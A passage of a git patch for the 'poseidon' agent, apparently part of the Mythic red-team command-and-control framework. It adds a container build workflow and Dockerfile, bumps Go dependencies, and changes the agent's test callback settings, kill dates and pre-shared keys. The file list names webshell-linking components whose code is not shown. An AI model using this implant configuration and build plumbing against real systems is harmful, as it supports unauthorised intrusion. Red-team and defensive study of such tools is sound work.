From f315e7bedefd83485080c22bef6febced1a5a8af Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Tue, 6 Feb 2024 19:40:23 -0600 Subject: [PATCH] initial testing for pre-compiled version --- .github/workflows/docker.yml | 139 ++++++++++++ Payload_Type/poseidon/.docker/Dockerfile | 9 + Payload_Type/poseidon/go.mod | 16 +- Payload_Type/poseidon/go.sum | 36 +++- .../poseidon/poseidon/agent_code/Makefile | 12 +- .../poseidon/poseidon/agent_code/go.mod | 26 +-- .../poseidon/poseidon/agent_code/go.sum | 25 +++ .../agent_code/link_webshell/link_webshell.go | 51 +++++ .../agent_code/pkg/profiles/dynamichttp.go | 2 +- .../agent_code/pkg/profiles/websocket.go | 21 +- .../agent_code/pkg/tasks/newTasking.go | 6 + .../agent_code/pkg/utils/p2p/poseidon_tcp.go | 2 +- .../agent_code/pkg/utils/p2p/webshell.go | 198 ++++++++++++++++++ .../poseidon/agent_code/spawn_many.sh | 5 + .../unlink_webshell/unlink_webshell.go | 39 ++++ .../poseidon/agentfunctions/builder.go | 13 +- .../agentfunctions/execute_library.go | 1 + .../poseidon/agentfunctions/link_tcp.go | 48 +++-- .../poseidon/agentfunctions/link_webshell.go | 148 +++++++++++++ .../agentfunctions/unlink_webshell.go | 111 ++++++++++ .../poseidon/browserscripts/download_new.js | 2 +- 21 files changed, 851 insertions(+), 59 deletions(-) create mode 100644 .github/workflows/docker.yml create mode 100644 Payload_Type/poseidon/.docker/Dockerfile create mode 100644 Payload_Type/poseidon/poseidon/agent_code/link_webshell/link_webshell.go create mode 100644 Payload_Type/poseidon/poseidon/agent_code/pkg/utils/p2p/webshell.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/spawn_many.sh create mode 100644 Payload_Type/poseidon/poseidon/agent_code/unlink_webshell/unlink_webshell.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/link_webshell.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/unlink_webshell.go diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml new file mode 100644 index 0000000..7341e2b --- /dev/null +++ b/.github/workflows/docker.yml @@ -0,0 +1,139 @@ +# Pulled from Thanatos (https://github.com/MythicAgents/thanatos/blob/rewrite/.github/workflows/image.yml) - MEhrn00 + +# Name for the Github actions workflow +name: Build and push container images + +on: + # Only run workflow when there is a new release published in Github + #release: + # types: [published] + push: + branches: + - 'master' + - 'main' + tags: + - "v*.*.*" + +# Variables holding configuration settings +env: + # Container registry the built container image will be pushed to + REGISTRY: ghcr.io + + # Set the container image name to the Github repository name. (MythicAgents/apfell) + AGENT_IMAGE_NAME: ${{ github.repository }} + + # Description label for the package in Github + IMAGE_DESCRIPTION: ${{ github.repository }} container for use with Mythic + + # Source URL for the package in Github. This links the Github repository packages list + # to this container image + IMAGE_SOURCE: ${{ github.server_url }}/${{ github.repository }} + + # License for the container image + IMAGE_LICENSE: BSD-3-Clause + + # Set the container image version to the Github release tag + VERSION: ${{ github.ref_name }} + #VERSION: ${{ github.event.head_commit.message }} + + RELEASE_BRANCH: master + +jobs: + # Builds the base container image and pushes it to the container registry + agent_build: + runs-on: ubuntu-latest + permissions: + contents: write + packages: write + steps: + - name: Checkout the repository + uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout + - name: Log in to the container registry + uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + - name: Set up QEMU + uses: docker/setup-qemu-action@v2 + with: + platforms: 'arm64,arm' + - name: Set up Docker Buildx + id: buildx + uses: docker/setup-buildx-action@v2 + # the following are unique to this job + - name: Lowercase the server container image name + run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV} + - name: Build and push the server container image + uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images + with: + context: Payload_Type/poseidon + file: Payload_Type/poseidon/.docker/Dockerfile + tags: | + ${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:${{ env.VERSION }} + ${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:latest + push: ${{ github.ref_type == 'tag' }} + # These container metadata labels allow configuring the package in Github + # packages. The source will link the package to this Github repository + labels: | + org.opencontainers.image.source=${{ env.IMAGE_SOURCE }} + org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }} + org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }} + platforms: linux/amd64,linux/arm64 + + update_files: + runs-on: ubuntu-latest + needs: + - agent_build + permissions: + contents: write + packages: write + + steps: + # Pull in the repository code + - name: Checkout the repository + uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout + + # update names to lowercase + - name: Lowercase the container image name + run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV} + + # The Dockerfile which Mythic uses to pull in the base container image needs to be + # updated to reference the newly built container image + - name: Fix the server Dockerfile reference to reference the new release tag + working-directory: Payload_Type/poseidon + run: | + sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${AGENT_IMAGE_NAME}:${VERSION}|" Dockerfile + + - name: Update package.json version + uses: jossef/action-set-json-field@v2.1 + with: + file: config.json + field: remote_images.poseidon + value: ${{env.REGISTRY}}/${{env.AGENT_IMAGE_NAME}}:${{env.VERSION}} + + # Push the changes to the Dockerfile + - name: Push the updated base Dockerfile image reference changes + if: ${{ github.ref_type == 'tag' }} + uses: EndBug/add-and-commit@v9 # ref: https://github.com/marketplace/actions/add-commit + with: + # Only add the Dockerfile changes. Nothing else should have been modified + add: "['Payload_Type/poseidon/Dockerfile', 'config.json']" + # Use the Github actions bot for the commit author + default_author: github_actions + committer_email: github-actions[bot]@users.noreply.github.com + + # Set the commit message + message: "Bump Dockerfile tag to match release '${{ env.VERSION }}'" + + # Overwrite the current git tag with the new changes + tag: '${{ env.VERSION }} --force' + + # Push the new changes with the tag overwriting the current one + tag_push: '--force' + + # Push the commits to the branch marked as the release branch + push: origin HEAD:${{ env.RELEASE_BRANCH }} --set-upstream + + # Have the workflow fail in case there are pathspec issues + pathspec_error_handling: exitImmediately diff --git a/Payload_Type/poseidon/.docker/Dockerfile b/Payload_Type/poseidon/.docker/Dockerfile new file mode 100644 index 0000000..ffce0ca --- /dev/null +++ b/Payload_Type/poseidon/.docker/Dockerfile @@ -0,0 +1,9 @@ +FROM itsafeaturemythic/mythic_go_macos:latest + +WORKDIR /Mythic/ + +COPY [".", "."] + +RUN make build + +CMD make run \ No newline at end of file diff --git a/Payload_Type/poseidon/go.mod b/Payload_Type/poseidon/go.mod index 830d57a..3766e18 100644 --- a/Payload_Type/poseidon/go.mod +++ b/Payload_Type/poseidon/go.mod @@ -5,8 +5,8 @@ go 1.19 //replace github.com/MythicMeta/MythicContainer => ../../../../MythicMeta/MythicContainer require ( - github.com/MythicMeta/MythicContainer v1.2.3 - github.com/google/uuid v1.5.0 + github.com/MythicMeta/MythicContainer v1.3.6 + github.com/google/uuid v1.6.0 github.com/mitchellh/mapstructure v1.5.0 ) @@ -21,7 +21,7 @@ require ( github.com/mattn/go-isatty v0.0.20 // indirect github.com/pelletier/go-toml/v2 v2.1.1 // indirect github.com/rabbitmq/amqp091-go v1.9.0 // indirect - github.com/rs/zerolog v1.31.0 // indirect + github.com/rs/zerolog v1.32.0 // indirect github.com/sagikazarmark/locafero v0.4.0 // indirect github.com/sagikazarmark/slog-shim v0.1.0 // indirect github.com/sourcegraph/conc v0.3.0 // indirect @@ -31,12 +31,12 @@ require ( github.com/spf13/viper v1.18.2 // indirect github.com/subosito/gotenv v1.6.0 // indirect go.uber.org/multierr v1.11.0 // indirect - golang.org/x/exp v0.0.0-20231226003508-02704c960a9b // indirect - golang.org/x/net v0.19.0 // indirect - golang.org/x/sys v0.15.0 // indirect + golang.org/x/exp v0.0.0-20240205201215-2c58cdc269a3 // indirect + golang.org/x/net v0.20.0 // indirect + golang.org/x/sys v0.16.0 // indirect golang.org/x/text v0.14.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240102182953-50ed04b92917 // indirect - google.golang.org/grpc v1.60.1 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240205150955-31a09d347014 // indirect + google.golang.org/grpc v1.61.0 // indirect google.golang.org/protobuf v1.32.0 // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/natefinch/lumberjack.v2 v2.2.1 // indirect diff --git a/Payload_Type/poseidon/go.sum b/Payload_Type/poseidon/go.sum index 0e3651f..01521cf 100644 --- a/Payload_Type/poseidon/go.sum +++ b/Payload_Type/poseidon/go.sum @@ -1,5 +1,9 @@ -github.com/MythicMeta/MythicContainer v1.2.3 h1:oeHqwJHOxrvgNesGJUb7saNluxMk0o4kBiSsfw8sMAU= -github.com/MythicMeta/MythicContainer v1.2.3/go.mod h1:EZqZAa+ZdZhhfLICL4RhnlBydMxZC4wi5vr95WRgdbY= +github.com/MythicMeta/MythicContainer v1.3.1 h1:wEFR2nuxvPlHW1214WdjaaBmQxxFI2qX0TMcfDxxj5o= +github.com/MythicMeta/MythicContainer v1.3.1/go.mod h1:EZqZAa+ZdZhhfLICL4RhnlBydMxZC4wi5vr95WRgdbY= +github.com/MythicMeta/MythicContainer v1.3.3 h1:0tKMMIq2N1x9OZvz/n9NxXSSQxSgw8ykoGU5t6lxNnM= +github.com/MythicMeta/MythicContainer v1.3.3/go.mod h1:EZqZAa+ZdZhhfLICL4RhnlBydMxZC4wi5vr95WRgdbY= +github.com/MythicMeta/MythicContainer v1.3.6 h1:RbA98y/hB/qzZga6vT/d+o/23x8BAfok1+y8MRoXsi8= +github.com/MythicMeta/MythicContainer v1.3.6/go.mod h1:EZqZAa+ZdZhhfLICL4RhnlBydMxZC4wi5vr95WRgdbY= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -19,6 +23,8 @@ github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/uuid v1.5.0 h1:1p67kYwdtXjb0gL0BPiP1Av9wiZPo5A8z2cWkTZ+eyU= github.com/google/uuid v1.5.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= @@ -47,6 +53,8 @@ github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZV github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.31.0 h1:FcTR3NnLWW+NnTwwhFWiJSZr4ECLpqCm6QsEnyvbV4A= github.com/rs/zerolog v1.31.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= +github.com/rs/zerolog v1.32.0 h1:keLypqrlIjaFsbmJOBdB/qvyF8KEtCWHwobLp5l/mQ0= +github.com/rs/zerolog v1.32.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= github.com/sagikazarmark/locafero v0.4.0 h1:HApY1R9zGo4DBgr7dqsTH/JJxLTTsOt7u6keLGt6kNQ= github.com/sagikazarmark/locafero v0.4.0/go.mod h1:Pe1W6UlPYUk/+wc/6KFhbORCfqzgYEpgQ3O5fPuL3H4= github.com/sagikazarmark/slog-shim v0.1.0 h1:diDBnUNK9N/354PgrxMywXnAwEr1QZcOr6gto+ugjYE= @@ -74,22 +82,30 @@ go.uber.org/goleak v1.2.1 h1:NBol2c7O1ZokfZ0LEU9K6Whx/KnwvepVetCUhtKja4A= go.uber.org/goleak v1.2.1/go.mod h1:qlT2yGI9QafXHhZZLxlSuNsMw3FFLxBr+tBRlmO1xH4= go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= -golang.org/x/exp v0.0.0-20231226003508-02704c960a9b h1:kLiC65FbiHWFAOu+lxwNPujcsl8VYyTYYEZnsOO1WK4= -golang.org/x/exp v0.0.0-20231226003508-02704c960a9b/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= -golang.org/x/net v0.19.0 h1:zTwKpTd2XuCqf8huc7Fo2iSy+4RHPd10s4KzeTnVr1c= -golang.org/x/net v0.19.0/go.mod h1:CfAk/cbD4CthTvqiEl8NpboMuiuOYsAr/7NOjZJtv1U= +golang.org/x/exp v0.0.0-20240110193028-0dcbfd608b1e h1:723BNChdd0c2Wk6WOE320qGBiPtYx0F0Bbm1kriShfE= +golang.org/x/exp v0.0.0-20240110193028-0dcbfd608b1e/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= +golang.org/x/exp v0.0.0-20240112132812-db7319d0e0e3 h1:hNQpMuAJe5CtcUqCXaWga3FHu+kQvCqcsoVaQgSV60o= +golang.org/x/exp v0.0.0-20240112132812-db7319d0e0e3/go.mod h1:idGWGoKP1toJGkd5/ig9ZLuPcZBC3ewk7SzmH0uou08= +golang.org/x/exp v0.0.0-20240205201215-2c58cdc269a3 h1:/RIbNt/Zr7rVhIkQhooTxCxFcdWLGIKnZA4IXNFSrvo= +golang.org/x/exp v0.0.0-20240205201215-2c58cdc269a3/go.mod h1:idGWGoKP1toJGkd5/ig9ZLuPcZBC3ewk7SzmH0uou08= +golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= +golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc= -golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= +golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240102182953-50ed04b92917 h1:6G8oQ016D88m1xAKljMlBOOGWDZkes4kMhgGFlf8WcQ= -google.golang.org/genproto/googleapis/rpc v0.0.0-20240102182953-50ed04b92917/go.mod h1:xtjpI3tXFPP051KaWnhvxkiubL/6dJ18vLVf7q2pTOU= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240108191215-35c7eff3a6b1 h1:gphdwh0npgs8elJ4T6J+DQJHPVF7RsuJHCfwztUb4J4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240108191215-35c7eff3a6b1/go.mod h1:daQN87bsDqDoe316QbbvX60nMoJQa4r6Ds0ZuoAe5yA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240205150955-31a09d347014 h1:FSL3lRCkhaPFxqi0s9o+V4UI2WTzAVOvkgbd4kVV4Wg= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240205150955-31a09d347014/go.mod h1:SaPjaZGWb0lPqs6Ittu0spdfrOArqji4ZdeP5IC/9N4= google.golang.org/grpc v1.60.1 h1:26+wFr+cNqSGFcOXcabYC0lUVJVRa2Sb2ortSK7VrEU= google.golang.org/grpc v1.60.1/go.mod h1:OlCHIeLYqSSsLi6i49B5QGdzaMZK9+M7LXN2FKz4eGM= +google.golang.org/grpc v1.61.0 h1:TOvOcuXn30kRao+gfcvsebNEa5iZIiLkisYEkf7R7o0= +google.golang.org/grpc v1.61.0/go.mod h1:VUbo7IFqmF1QtCAstipjG0GIoq49KvMe9+h1jFLBNJs= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I= diff --git a/Payload_Type/poseidon/poseidon/agent_code/Makefile b/Payload_Type/poseidon/poseidon/agent_code/Makefile index 80c2d73..0e53e93 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/Makefile +++ b/Payload_Type/poseidon/poseidon/agent_code/Makefile @@ -1,11 +1,11 @@ HTTP_UUID=80844d19-9bfc-47f9-b9af-c6b9144c0fdc HTTP_CALLBACK_HOST=http://127.0.0.1 HTTP_CALLBACK_PORT=80 -HTTP_KILLDATE=2023-12-31 +HTTP_KILLDATE=2024-12-31 HTTP_CALLBACK_INTERVAL=2 HTTP_CALLBACK_JITTER=0 HTTP_POST_URI=data -HTTP_ENCRYPTED_EXCHANGE_CHECK=true +HTTP_ENCRYPTED_EXCHANGE_CHECK=false HTTP_HEADERS="{}" HTTP_AESPSK=hfN9Nk29S8LsjrE9ffbT9KONue4uozk+/TVMyrxDvvM= HTTP_PROXY_PORT= @@ -24,7 +24,7 @@ WEBSOCKET_ENCRYPTED_EXCHANGE_CHECK=true WEBSOCKET_DOMAIN_FRONT= WEBSOCKET_CALLBACK_JITTER=20 WEBSOCKET_TASKING_TYPE="Push" -WEBSOCKET_KILLDATE="2024-01-01" +WEBSOCKET_KILLDATE="2024-12-31" TCP_UUID=80844d19-9bfc-47f9-b9af-c6b9144c0fdc TCP_PORT=8085 @@ -43,12 +43,12 @@ EGRESS_FAILOVER="round-robin" DEBUG=true failedConnectionCountThresholdString=10 -DYNAMICHTTP_UUID=67b0094a-c99e-4410-9922-3f4ec00e5a88 -DYNAMICHTTP_KILL_DATE=2023-12-31 +DYNAMICHTTP_UUID=fbd34459-f783-4b78-9d4c-fd26a5289fee +DYNAMICHTTP_KILL_DATE=2024-12-31 DYNAMICHTTP_INTERVAL=2 DYNAMICHTTP_JITTER=0 DYNAMICHTTP_ENCRYPTED_EXCHANGE_CHECK=true -DYNAMICHTTP_AESPSK=t9OmSw+/U4qn+WnA9mm20czT4rw5pwOVTIfcDO730g8= +DYNAMICHTTP_AESPSK=YBRX8nRTYUrkKue/HhEgm+F7gG304uqPdZQwzZ+vaL8= DYNAMICHTTP_AGENT_CONFIG_FILE=dynamichttp_test_agent_config.json DYNAMICHTTP_AGENT_CONFIG=$(shell cat ${DYNAMICHTTP_AGENT_CONFIG_FILE} | sed 's/\\/\\\\/g' | sed 's/"/\\"/g' | tr -d '\n') diff --git a/Payload_Type/poseidon/poseidon/agent_code/go.mod b/Payload_Type/poseidon/poseidon/agent_code/go.mod index f74d88d..5d23836 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/go.mod +++ b/Payload_Type/poseidon/poseidon/agent_code/go.mod @@ -3,29 +3,29 @@ module github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code go 1.19 require ( + github.com/creack/pty v1.1.21 github.com/djherbis/atime v1.1.0 - github.com/google/uuid v1.3.1 - github.com/gorilla/websocket v1.5.0 - github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 + github.com/google/uuid v1.6.0 + github.com/gorilla/websocket v1.5.1 + github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 github.com/tmc/scp v0.0.0-20170824174625-f7b48647feef github.com/xorrior/keyctl v1.0.1-0.20210425144957-8746c535bf58 - golang.org/x/crypto v0.13.0 - golang.org/x/sync v0.3.0 - golang.org/x/sys v0.12.0 - howett.net/plist v1.0.0 + golang.org/x/crypto v0.18.0 + golang.org/x/sync v0.6.0 + golang.org/x/sys v0.16.0 + howett.net/plist v1.0.1 ) require ( github.com/MythicMeta/MythicContainer v1.0.8 // indirect - github.com/creack/pty v1.1.18 // indirect github.com/creack/termios v0.0.0-20160714173321-88d0029e36a1 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect - github.com/gen2brain/shm v0.0.0-20221026125803-c33c9e32b1c8 // indirect + github.com/gen2brain/shm v0.1.0 // indirect github.com/go-logr/logr v1.2.4 // indirect github.com/go-logr/zerologr v1.2.3 // indirect github.com/golang/protobuf v1.5.3 // indirect github.com/hashicorp/hcl v1.0.0 // indirect - github.com/jezek/xgb v1.1.0 // indirect + github.com/jezek/xgb v1.1.1 // indirect github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect github.com/magiconair/properties v1.8.7 // indirect @@ -42,9 +42,9 @@ require ( github.com/spf13/pflag v1.0.5 // indirect github.com/spf13/viper v1.16.0 // indirect github.com/subosito/gotenv v1.6.0 // indirect - golang.org/x/net v0.15.0 // indirect - golang.org/x/term v0.12.0 // indirect - golang.org/x/text v0.13.0 // indirect + golang.org/x/net v0.20.0 // indirect + golang.org/x/term v0.16.0 // indirect + golang.org/x/text v0.14.0 // indirect google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230913181813-007df8e322eb // indirect google.golang.org/grpc v1.58.1 // indirect diff --git a/Payload_Type/poseidon/poseidon/agent_code/go.sum b/Payload_Type/poseidon/poseidon/agent_code/go.sum index 6a802c5..bdf744e 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/go.sum +++ b/Payload_Type/poseidon/poseidon/agent_code/go.sum @@ -51,6 +51,8 @@ github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnht github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= +github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= +github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/termios v0.0.0-20160714173321-88d0029e36a1 h1:3ZFknr3UZk2E18CuCeA0NMRk226zM/slMEFOmJTtJjI= github.com/creack/termios v0.0.0-20160714173321-88d0029e36a1/go.mod h1:141QqpYDZtzU1VJMRHPU6ZWkn9K5cE6X8elajH9hJk4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -68,6 +70,8 @@ github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbS github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo= github.com/gen2brain/shm v0.0.0-20221026125803-c33c9e32b1c8 h1:u4/UVF0sNxlqDwCptjIUTUkZW4UoZDrcHzvd2kNnF/k= github.com/gen2brain/shm v0.0.0-20221026125803-c33c9e32b1c8/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo= +github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY= +github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= @@ -135,11 +139,15 @@ github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc= github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= +github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= @@ -150,12 +158,16 @@ github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJS github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240/go.mod h1:3P4UH/k22rXyHIJD2w4h2XMqPX4Of/eySEZq9L6wqc4= github.com/jezek/xgb v1.1.0 h1:wnpxJzP1+rkbGclEkmwpVFQWpuE2PUGNUzP8SbfFobk= github.com/jezek/xgb v1.1.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= +github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= +github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote 